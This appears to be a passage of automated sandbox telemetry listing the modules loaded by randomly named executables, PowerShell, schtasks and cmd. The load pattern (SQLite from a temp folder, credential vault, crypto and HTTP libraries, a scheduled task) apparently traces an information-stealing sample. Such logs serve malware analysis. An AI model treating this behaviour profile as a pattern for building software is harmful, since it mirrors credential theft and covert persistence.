"AD1Sg20.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "AD1Sg20.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 68eb0000 "AD1Sg20.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75480000 "2kJ9830.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 71170000 "2kJ9830.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "2kJ9830.exe" loaded module "KERNEL32" at base 75fc0000 "2kJ9830.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "2kJ9830.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74190000 "2kJ9830.exe" loaded module "KERNEL32.DLL" at base 75fc0000 "2kJ9830.exe" loaded module "API-MS-WIN-CORE-SYSINFO-L1-2-1" at base 0 "2kJ9830.exe" loaded module "DWMAPI.DLL" at base 73e80000 "2kJ9830.exe" loaded module "COMCTL32.DLL" at base 74500000 "2kJ9830.exe" loaded module "UXTHEME.DLL" at base 74190000 "2kJ9830.exe" loaded module "IMM32.DLL" at base 77900000 "2kJ9830.exe" loaded module "COMCTL32" at base 74500000 "2kJ9830.exe" loaded module "SHELL32.DLL" at base 76330000 "2kJ9830.exe" loaded module "OLE32.DLL" at base 759f0000 "2kJ9830.exe" loaded module "ADVAPI32.DLL" at base 75ed0000 "2kJ9830.exe" loaded module "PROPSYS.DLL" at base 742c0000 "2kJ9830.exe" loaded module "OLEAUT32.DLL" at base 75de0000 "2kJ9830.exe" loaded module "APPHELP.DLL" at base 75480000 "2kJ9830.exe" loaded module "CLBCATQ.DLL" at base 75b70000 "2kJ9830.exe" loaded module "%WINDIR%\SYSTEM32\IEFRAME.DLL" at base 6a440000 "2kJ9830.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 75730000 "2kJ9830.exe" loaded module "URLMON.DLL" at base 772d0000 "2kJ9830.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 72270000 "2kJ9830.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 742c0000 "2kJ9830.exe" loaded module "%PROGRAMFILES%\INTERNET EXPLORER\IEPROXY.DLL" at base 6ba60000 "2kJ9830.exe" loaded module "IERTUTIL.DLL" at base 760f0000 "2kJ9830.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 76330000 "2kJ9830.exe" loaded module "USER32.DLL" at base 77060000 "2kJ9830.exe" loaded module "SETUPAPI.DLL" at base 77130000 "2kJ9830.exe" loaded module "RPCRT4.DLL" at base 75c00000 "2kJ9830.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75480000 "2kJ9830.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-1" at base 0 "2kJ9830.exe" loaded module "EXT-MS-WIN-KERNEL32-PACKAGE-CURRENT-L1-1-0" at base 0 "5Jy6wg6.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 71170000 "5Jy6wg6.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "5Jy6wg6.exe" loaded module "KERNEL32" at base 75fc0000 "5Jy6wg6.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "5Jy6wg6.exe" loaded module "IMM32.DLL" at base 77900000 "5Jy6wg6.exe" loaded module "COMCTL32.DLL" at base 71e30000 "5Jy6wg6.exe" loaded module "SHFOLDER.DLL" at base 72bf0000 "5Jy6wg6.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74190000 "5Jy6wg6.exe" loaded module "KERNEL32.DLL" at base 75fc0000 "5Jy6wg6.exe" loaded module "OLE32.DLL" at base 759f0000 "5Jy6wg6.exe" loaded module "ADVAPI32.DLL" at base 75ed0000 "5Jy6wg6.exe" loaded module "PROFAPI.DLL" at base 755f0000 "5Jy6wg6.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75b50000 "5Jy6wg6.exe" loaded module "SSPICLI.DLL" at base 75460000 "5Jy6wg6.exe" loaded module "RPCRT4.DLL" at base 75c00000 "5Jy6wg6.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 72400000 "5Jy6wg6.exe" loaded module "SHLWAPI.DLL" at base 77000000 "5Jy6wg6.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 0 "5Jy6wg6.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 0 "5Jy6wg6.exe" loaded module "VERSION.DLL" at base 74a70000 "5Jy6wg6.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 636f0000 "5Jy6wg6.exe" loaded module "USER32.DLL" at base 77060000 "5Jy6wg6.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 0 "5Jy6wg6.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "5Jy6wg6.exe" loaded module "MSCOREE.DLL" at base 724a0000 "5Jy6wg6.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 0 "5Jy6wg6.exe" loaded module "PSAPI.DLL" at base 778f0000 "5Jy6wg6.exe" loaded module "%WINDIR%\SYSTEM32\MSCOREE.DLL" at base 724a0000 "5Jy6wg6.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 622e0000 "5Jy6wg6.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "5Jy6wg6.exe" loaded module "CRYPTBASE.DLL" at base 754d0000 "5Jy6wg6.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 6bac0000 "5Jy6wg6.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 64010000 "5Jy6wg6.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 61880000 "5Jy6wg6.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 61060000 "5Jy6wg6.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.CSHARP\F73F48AFB5512225DEDAEE9C88AC5050\MICROSOFT.CSHARP.NI.DLL" at base 60ec0000 "5Jy6wg6.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 6b760000 "5Jy6wg6.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 60db0000 "5Jy6wg6.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 60630000 "5Jy6wg6.exe" loaded module "NTDLL.DLL" at base 776d0000 "5Jy6wg6.exe" loaded module "SHELL32.DLL" at base 76330000 "5Jy6wg6.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "5Jy6wg6.exe" loaded module "BCRYPT.DLL" at base 750f0000 "5Jy6wg6.exe" loaded module "CRYPTSP.DLL" at base 74fe0000 "5Jy6wg6.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74d70000 "5Jy6wg6.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "5Jy6wg6.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75480000 "5Jy6wg6.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "5Jy6wg6.exe" loaded module "CLBCATQ.DLL" at base 75b70000 "5Jy6wg6.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 76330000 "5Jy6wg6.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75b50000 "5Jy6wg6.exe" loaded module "RPCRTREMOTE.DLL" at base 75570000 "5Jy6wg6.exe" loaded module "PROPSYS.DLL" at base 742c0000 "5Jy6wg6.exe" loaded module "COMCTL32.DLL" at base 74500000 "5Jy6wg6.exe" loaded module "OLEAUT32.DLL" at base 75de0000 "5Jy6wg6.exe" loaded module "SETUPAPI.DLL" at base 77130000 "5Jy6wg6.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 742c0000 "5Jy6wg6.exe" loaded module "NTMARTA.DLL" at base 74160000 "5Jy6wg6.exe" loaded module "APPHELP.DLL" at base 75480000 "5Jy6wg6.exe" loaded module "%WINDIR%\SYSTEM32\SHDOCVW.DLL" at base 6ea20000 "5Jy6wg6.exe" loaded module "LINKINFO.DLL" at base 6ea10000 "5Jy6wg6.exe" loaded module "NTSHRUI.DLL" at base 72d60000 "5Jy6wg6.exe" loaded module "SRVCLI.DLL" at base 751d0000 "5Jy6wg6.exe" loaded module "CSCAPI.DLL" at base 70e90000 "5Jy6wg6.exe" loaded module "SLC.DLL" at base 73990000 "5Jy6wg6.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "5Jy6wg6.exe" loaded module "WS2_32.DLL" at base 75f80000 "5Jy6wg6.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74fa0000 "5Jy6wg6.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 74b00000 "5Jy6wg6.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 74f90000 "5Jy6wg6.exe" loaded module "%TEMP%\IXP002.TMP\SQLITE3" at base 0 "5Jy6wg6.exe" loaded module "SQLITE3" at base 60560000 "5Jy6wg6.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\RASAPI32.DLL" at base 0 "5Jy6wg6.exe" loaded module "RASAPI32.DLL" at base 726b0000 "5Jy6wg6.exe" loaded module "RTUTILS.DLL" at base 733f0000 "5Jy6wg6.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL" at base 75b50000 "5Jy6wg6.exe" loaded module "API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL" at base 75b50000 "5Jy6wg6.exe" loaded module "RASMAN.DLL" at base 72690000 "5Jy6wg6.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WINHTTP.DLL" at base 0 "5Jy6wg6.exe" loaded module "WINHTTP.DLL" at base 70a80000 "5Jy6wg6.exe" loaded module "CREDSSP.DLL" at base 74c70000 "5Jy6wg6.exe" loaded module "IPHLPAPI.DLL" at base 73920000 "5Jy6wg6.exe" loaded module "DHCPCSVC6.DLL" at base 737e0000 "5Jy6wg6.exe" loaded module "DHCPCSVC.DLL" at base 737c0000 "5Jy6wg6.exe" loaded module "NSI.DLL" at base 77820000 "5Jy6wg6.exe" loaded module "CFGMGR32.DLL" at base 75880000 "5Jy6wg6.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "5Jy6wg6.exe" loaded module "DNSAPI.DLL" at base 74e60000 "5Jy6wg6.exe" loaded module "RASADHLP.DLL" at base 71e10000 "5Jy6wg6.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 73890000 "5Jy6wg6.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "5Jy6wg6.exe" loaded module "SECUR32.DLL" at base 75260000 "5Jy6wg6.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 74de0000 "5Jy6wg6.exe" loaded module "NCRYPT.DLL" at base 75110000 "5Jy6wg6.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 74cb0000 "5Jy6wg6.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "5Jy6wg6.exe" loaded module "CRYPT32.DLL" at base 75600000 "5Jy6wg6.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CRYPT32.DLL" at base 0 "5Jy6wg6.exe" loaded module "USERENV.DLL" at base 75770000 "5Jy6wg6.exe" loaded module "GPAPI.DLL" at base 74bb0000 "5Jy6wg6.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL" at base 75b50000 "5Jy6wg6.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 71020000 "5Jy6wg6.exe" loaded module "CRYPTNET.DLL" at base 71020000 "5Jy6wg6.exe" loaded module "SENSAPI.DLL" at base 6c2d0000 "5Jy6wg6.exe" loaded module "CABINET.DLL" at base 710f0000 "5Jy6wg6.exe" loaded module "DEVRTL.DLL" at base 74d50000 "5Jy6wg6.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DYNAMIC\B7AD5353AE4F44DF28CE7EBC9A8A752A\SYSTEM.DYNAMIC.NI.DLL" at base 604f0000 "5Jy6wg6.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DATA\DF2DD09ED7C341842A104E1E668F184E\SYSTEM.DATA.NI.DLL" at base 5fcd0000 "5Jy6wg6.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 5f970000 "5Jy6wg6.exe" loaded module "VAULTCLI.DLL" at base 6d520000 "5Jy6wg6.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.MANAGEMENT\E114780FD3EA5727401C06EA4F22EF35\SYSTEM.MANAGEMENT.NI.DLL" at base 5f840000 "5Jy6wg6.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\WINDOWSBASE\1A4CC316FB6D09525321FC0BE44692D8\WINDOWSBASE.NI.DLL" at base 5f420000 "5Jy6wg6.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\PRESENTATIONCORE\468F4E17BE144CA12A73A4297EACC9CC\PRESENTATIONCORE.NI.DLL" at base 5e7e0000 "5Jy6wg6.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\PRESENTATIO5AE0F00F#\252CC7B0FAE8CFE083BDC149957C0C54\PRESENTATIONFRAMEWORK.NI.DLL" at base 5ca40000 "5Jy6wg6.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\PRESENTATIONCORE\V4.0_4.0.0.0__31BF3856AD364E35\UCRTBASE_CLR0400.DLL" at base 0 "5Jy6wg6.exe" loaded module "UCRTBASE_CLR0400.DLL" at base 6b2c0000 "5Jy6wg6.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\PRESENTATIONCORE\V4.0_4.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "5Jy6wg6.exe" loaded module "DWRITE.DLL" at base 64120000 "5Jy6wg6.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 758c0000 "5Jy6wg6.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 0 "5Jy6wg6.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 0 "5Jy6wg6.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\WPF\WPFGFX_V0400.DLL" at base 5e650000 "5Jy6wg6.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\WPF\PRESENTATIONNATIVE_V0400.DLL" at base 5e4f0000 "5Jy6wg6.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\\WMINET_UTILS.DLL" at base 68d20000 "5Jy6wg6.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 75fc0000 "5Jy6wg6.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 6ca50000 "5Jy6wg6.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 6d440000 "5Jy6wg6.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 6ca70000 "5Jy6wg6.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 6d8d0000 "5Jy6wg6.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "5Jy6wg6.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLEAUT32.DLL" at base 0 "5Jy6wg6.exe" loaded module "%TEMP%\IXP002.TMP\SETUPAPI.DLL" at base 0 "5Jy6wg6.exe" loaded module "%TEMP%\IXP002.TMP\WINBRAND.DLL" at base 0 "5Jy6wg6.exe" loaded module "WINBRAND.DLL" at base 68cc0000 "5Jy6wg6.exe" loaded module "GDI32.DLL" at base 760a0000 "5Jy6wg6.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "5Jy6wg6.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\VERSION.DLL" at base 0 "5Jy6wg6.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\DIASYMREADER.DLL" at base 5e3e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 76330000 "powershell.exe" loaded module "OLE32.DLL" at base 759f0000 "powershell.exe" loaded module "USERENV.DLL" at base 75770000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75b50000 "powershell.exe" loaded module "COMCTL32.DLL" at base 74500000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 75ed0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 75fc0000 "powershell.exe" loaded module "SHELL32.DLL" at base 76330000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 75de0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 75fc0000 "powershell.exe" loaded module "SETUPAPI.DLL" at base 77130000 "powershell.exe" loaded module "RPCRT4.DLL" at base 75c00000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 742c0000 "powershell.exe" loaded module "NTMARTA.DLL" at base 74160000 "powershell.exe" loaded module "APPHELP.DLL" at base 75480000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SHDOCVW.DLL" at base 6ea20000 "powershell.exe" loaded module "PROPSYS.DLL" at base 742c0000 "powershell.exe" loaded module "LINKINFO.DLL" at base 6ea10000 "powershell.exe" loaded module "PROFAPI.DLL" at base 755f0000 "powershell.exe" loaded module "USER32.DLL" at base 77060000 "powershell.exe" loaded module "NTSHRUI.DLL" at base 72d60000 "powershell.exe" loaded module "SRVCLI.DLL" at base 751d0000 "powershell.exe" loaded module "CSCAPI.DLL" at base 70e90000 "powershell.exe" loaded module "SLC.DLL" at base 73990000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 77000000 "powershell.exe" loaded module "CRYPTSP.DLL" at base 74fe0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74d70000 "powershell.exe" loaded module "CRYPTBASE.DLL" at base 754d0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 71170000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "powershell.exe" loaded module "KERNEL32" at base 75fc0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 72400000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "VERSION.DLL" at base 74a70000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V2.0.50727\MSCORWKS.DLL" at base 60080000 "powershell.exe" loaded module "MSCOREE.DLL" at base 724a0000 "powershell.exe" loaded module "NTDLL" at base 776d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSCOREE.DLL" at base 724a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\MSCORLIB\9F895C66454577EFF9C77442D0C84F71\MSCORLIB.NI.DLL" at base 5f4e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V2.0.50727\OLE32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V2.0.50727\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM\AD92DAB7F418877D6A1E0358CE35658A\SYSTEM.NI.DLL" at base 5ed30000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\MICROSOFT.POWERSHEL#\8229F0505633D4BCEF019B9D4FAB9F18\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 5eca0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM.MANAGEMENT.A#\84C47B5A5813A5F040AEE9715A0FF7C0\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 5e130000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "PSAPI.DLL" at base 778f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 776d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM.CORE\BD9FF1A4363781A57E8F7392F230A203\SYSTEM.CORE.NI.DLL" at base 5def0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\MICROSOFT.POWERSHEL#\49CAE79AC18BAD142E1AB5A46A8AC306\MICROSOFT.POWERSHELL.COMMANDS.DIAGNOSTICS.NI.DLL" at base 68d00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM.CONFIGURATIO#\D6ACC39F6C1EA42D8B3150DB6184A969\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 68bc0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\MICROSOFT.WSMAN.MAN#\7BF5729401CFF7EA7898124E9818ED20\MICROSOFT.WSMAN.MANAGEMENT.NI.DLL" at base 5de60000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM.TRANSACTIONS\FEC007EA17AC8956CC5D6D4074DADA6A\SYSTEM.TRANSACTIONS.NI.DLL" at base 5dd90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\2.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 5dd40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\MICROSOFT.POWERSHEL#\F1831CE4588265A3F72E0A581BA58F2A\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 5dba0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\MICROSOFT.POWERSHEL#\344E681515D07B93A4F1383F0D625E1E\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 5dad0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\MICROSOFT.POWERSHEL#\573750F17B5B8316F04A10956FDD1D97\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 5daa0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V2.0.50727\CULTURE.DLL" at base 6b750000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM.XML\77C1DC46EA139BF5E1EAA9B87EF03C7A\SYSTEM.XML.NI.DLL" at base 5d560000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM.MANAGEMENT\00C2B464E52D4E82C04D61592A12A89D\SYSTEM.MANAGEMENT.NI.DLL" at base 5d450000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM.DIRECTORYSER#\237ED1739105C1BEBE48D41905FDB3EE\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 5d330000 "powershell.exe" loaded module "SHFOLDER.DLL" at base 72bf0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_32\MSCORLIB\2.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base 75260000 "powershell.exe" loaded module "SSPICLI.DLL" at base 75460000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM.DATA\511C39D1EFA06D262A6B2F47E2726C73\SYSTEM.DATA.NI.DLL" at base 5ccd0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_32\SYSTEM.DATA\2.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 5c9f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V2.0.50727\MSCORJIT.DLL" at base 5c990000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V2.0.50727\DIASYMREADER.DLL" at base 5c4a0000 "powershell.exe" loaded module "GDI32.DLL" at base 760a0000 "powershell.exe" loaded module "NETUTILS.DLL" at base 73df0000 "schtasks.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 71170000 "schtasks.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "schtasks.exe" loaded module "KERNEL32" at base 75fc0000 "schtasks.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "schtasks.exe" loaded module "VERSION.DLL" at base 74a70000 "schtasks.exe" loaded module "KERNEL32.DLL" at base 75fc0000 "schtasks.exe" loaded module "CRYPTBASE.DLL" at base 754d0000 "schtasks.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74190000 "schtasks.exe" loaded module "RPCRT4.DLL" at base 75c00000 "schtasks.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75b50000 "schtasks.exe" loaded module "ADVAPI32.DLL" at base 75ed0000 "schtasks.exe" loaded module "CLBCATQ.DLL" at base 75b70000 "schtasks.exe" loaded module "%WINDIR%\SYSTEM32\TASKSCHD.DLL" at base 73ab0000 "schtasks.exe" loaded module "SSPICLI.DLL" at base 75460000 "schtasks.exe" loaded module "XMLLITE.DLL" at base 73e50000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 71170000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "cmd.exe" loaded module "KERNEL32" at base 75fc0000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75480000 